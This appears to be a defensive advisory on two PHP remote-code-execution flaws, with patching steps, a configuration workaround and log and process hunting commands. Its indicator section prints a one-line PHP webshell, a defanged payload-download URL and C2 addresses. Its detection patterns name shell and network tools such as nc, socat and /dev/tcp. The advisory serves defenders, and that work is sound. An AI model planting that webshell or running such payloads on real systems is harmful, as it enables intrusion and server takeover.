TL;DR: Two critical PHP flaws, nicknamed php2shell (CVE-2026-109618 and CVE-2026-109619, CVSS 4.0 9.2), let an unauthenticated attacker reach remote code execution through any PHP that serves web requests. Patch to PHP 8.5.12, 8.4.27, 8.3.36 or 8.2.35 (or your vendor’s backport). If you can’t patch today, set session.upload_progress.enabled = Off. Then hunt for the indicators below. It takes about 15 minutes per server.
What is affected
- Every PHP that serves web requests: PHP-FPM, Apache
mod_php,php-cgi, FrankenPHP and LiteSpeed. The easiest target is Apachemod_phpwith the prefork MPM and default memory/input limits. That is what the officialwordpress:*-apacheDocker images use. - The exploit runs before your application code. A WordPress security plugin or PHP-level WAF does not stop it.
- Old branches: PHP 8.1 and earlier are end-of-life. PHP published minimal source backports for 7.4, 8.0 and 8.1, but most images for those versions will never get an official fix.
- Exploitation is real but not trivial. Amazon saw attempts four days before disclosure. Sophos, VulnCheck and Hunt.io report scanning, failed attempts and botnet payloads (likely Mirai-based). Reliable exploitation still depends on version and configuration.
Step 1: Find every PHP you run
# on the host
php -v 2>/dev/null; php-fpm -v 2>/dev/null; rpm -qa | grep -i php; dpkg -l | grep -i php
# in every running Docker container
for c in $(docker ps -q); do
n=$(docker inspect -f '{{.Name}}' "$c")
v=$(docker exec "$c" php -r 'echo PHP_VERSION;' 2>/dev/null) && echo "$n PHP $v"
done
# which SAPI / MPM does a container use? (Apache images)
docker exec <container> apache2ctl -M | grep -Ei 'php|mpm'
Don’t forget control panels (cPanel, Plesk), vendor appliances and old staging copies.
Step 2: Patch (the real fix)
- Upgrade to 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35, or to your distribution’s patched package.
- For Docker, pull a fresh image and check the version before you switch:
docker pull wordpress:php8.3-apache docker run --rm --entrypoint php wordpress:php8.3-apache -v # must show 8.3.36 or later - Pin a tag (e.g.
php8.3-apache) rather thanlatest, so a future pull doesn’t jump PHP versions unexpectedly. Back up the database and web root first.
Step 3: If you can’t patch today, apply the workaround
PHP’s own guidance for unpatchable versions is to disable session upload progress. It is a PHP_INI_PERDIR setting, so ini_set() can’t change it. Put it in an ini file and restart:
# /usr/local/etc/php/conf.d/zz-php2shell-mitigation.ini (official Docker images)
session.upload_progress.enabled = Off
# docker-compose.yml (service volumes)
- ./php2shell-mitigation.ini:/usr/local/etc/php/conf.d/zz-php2shell-mitigation.ini:ro
# verify (expect an empty string or "0")
docker exec <container> php -r 'var_dump(ini_get("session.upload_progress.enabled"));'
This blocks the known paths, not every variant. Keep it in place after patching; it costs nothing.
Step 4: Hunt for indicators
Run these read-only checks on each web server. Adjust log paths to your setup. For Docker, use docker logs <container>.
1. Exploit and scanner traffic in access logs
zgrep -iE 'php2shell|wp2shell|reconx|shellflow|eigen-oppervlak' /var/log/nginx/access.log* /var/log/apache2/access.log*
# multipart boundaries seen in exploit requests (only if you log request bodies / WAF)
zgrep -E 'B7kQpoc618|p2s9rdme2st6guc9g0rafic|PHP_SESSION_UPLOAD_PROGRESS' /var/log/*waf* 2>/dev/null
2. The stage-1 crash signature in PHP/Apache error logs
CVE-2026-109618 is triggered by running out of memory while PHP sets up the request, so the fatal error points to “Unknown”, not a script:
zgrep -E 'Allowed memory size .* in Unknown on line 0' /var/log/apache2/error.log* /var/log/php*-fpm.log*
zgrep -E 'Segmentation fault|exit signal|zend_mm_heap|double free' /var/log/apache2/error.log* /var/log/php*-fpm.log*
A hit means someone tried, not that they succeeded. Check the requests around that timestamp.
3. Shells or downloaders started by PHP workers
ps -eo pid,ppid,user,lstart,args --forest | grep -B1 -A3 -E 'php-fpm|php-cgi|apache2|httpd' \
| grep -E '\b(sh|bash|dash|curl|wget|nc|ncat|socat|python[0-9.]*|perl)\b|/dev/tcp|mkfifo'
# processes running from temp dirs or deleted binaries
for p in /proc/[0-9]*; do e=$(readlink $p/exe 2>/dev/null); case "$e" in (*deleted*|/tmp/*|/var/tmp/*|/dev/shm/*) echo "${p#/proc/} $e";; esac; done
4. Payloads, webshells and session-file tricks
ls -la /tmp/nfs 2>/dev/null # Potassium/Mirai drop path (Sophos)
grep -rlE "PWNED::|system\(\s*\\\$_GET\[" /var/www 2>/dev/null # webshell seen by VulnCheck
grep -lE 'upload_progress_.*<\?php' /var/lib/php/sessions/* /tmp/sess_* 2>/dev/null
find /var/www -type f -newermt "2026-10-17" \( -name '*.php*' -o -name '.htaccess' -o -name '.user.ini' \) -not -path '*/cache/*'
wp core verify-checksums --path=/var/www/html # WordPress core integrity
5. Known file hashes (SHA-256)
cat > php2shell_sha256.txt <<'EOF'
0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486
150ae88f0999032e2a6113501d6082f54a3ed98d02427b21a96e773a27d7bf16
40caf199ca1ebe056a74427f8e9db06c66899e33ae09c0ec2769ec70bf6dd8e7
27d926a6708d6769d97d065e7a5a860ab496eab272c03d1cebc55ec71b954fa2
1485e14e0f62bc94664eec341cabd275dad7d30b1d496c40ec340c9a0d9f0ba8
EOF
find /var/www /tmp /var/tmp /dev/shm -xdev -type f -size -20M -print0 2>/dev/null \
| xargs -0 sha256sum 2>/dev/null | grep -Ff php2shell_sha256.txt
6. Network and DNS
ss -tnp | grep -E '92\.118\.112\.100|134\.199\.154\.64|117\.55\.202\.115|45\.198\.224\.'
zgrep -hE '(godofthunder|botlesscucks|gettingheadfromduckysmom)\.st|mangsud\.org' /var/log/* 2>/dev/null
7. YARA (optional)
The community rules from Lexsah/php2shell-detection match the php2shell User-Agent and multipart upload-progress requests. Run them over request captures and logs. For web roots, add the generic webshell rules from Neo23x0/signature-base:
yara -r php2shell_upload_progress.yar /var/log/nginx/
yara -r gen_webshells.yar /var/www/
Indicators at a glance
| Type | Indicator | Source |
|---|---|---|
| User-Agent | php2shell-scan/109618, php2shell-109618, php2shell-verify/1.0 |
VulnCheck, Hunt.io |
| User-Agent | PHP2Shell/1.0.0, ReconX-WP2Shell/1.0, wp2shell-audit/3.1 |
Observed by Neteye |
| Payload | hxxp://92.118.112[.]100/nfs → /tmp/nfs, run as ./nfs php (Potassium, likely a Mirai variant) |
Sophos |
| C2 | 134.199.154[.]64, 117.55.202[.]115, *.godofthunder[.]st, *.botlesscucks[.]st |
Sophos, Hunt.io |
| Scanners | 45.198.224[.]0/24, 85.11.167[.]243 |
Hunt.io, VulnCheck |
| Webshell | <?php echo 'PWNED::'; system($_GET['c']); ?> planted via upload progress |
VulnCheck |
IP indicators go stale fast, and some come from shared anonymisation networks. Use them to investigate, not as proof. Check the sources for the full, current lists.
If you find something
- Isolate the site: take it off the reverse proxy or firewall it. Don’t power it off yet.
- Preserve evidence: web/PHP logs,
docker logs(they are deleted when a container is recreated) and a copy of the web root. - Rotate secrets: database passwords, WordPress salts, admin passwords, API keys and SMTP credentials.
- Rebuild from a clean, patched image, and restore content from a backup taken before the first indicator.
Sources
- Huntress: php2shell, leaked critical PHP vulnerabilities
- PHP security advisories GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp
- Amazon Threat Intelligence: PHP2Shell exploitation before disclosure (MadPot)
- Sophos: proof-of-concept exploit released for CVE-2026-109618 / 109619
- VulnCheck: PHP2Shell vulnerabilities
- Hunt.io: hunting leaked PHP2Shell RCE across open directories
- Lexsah/php2shell-detection (YARA, Sigma, Suricata rules)
Indicators and versions are from public reporting as of 24 October 2026. Need a hand checking your servers? Talk to an engineer.
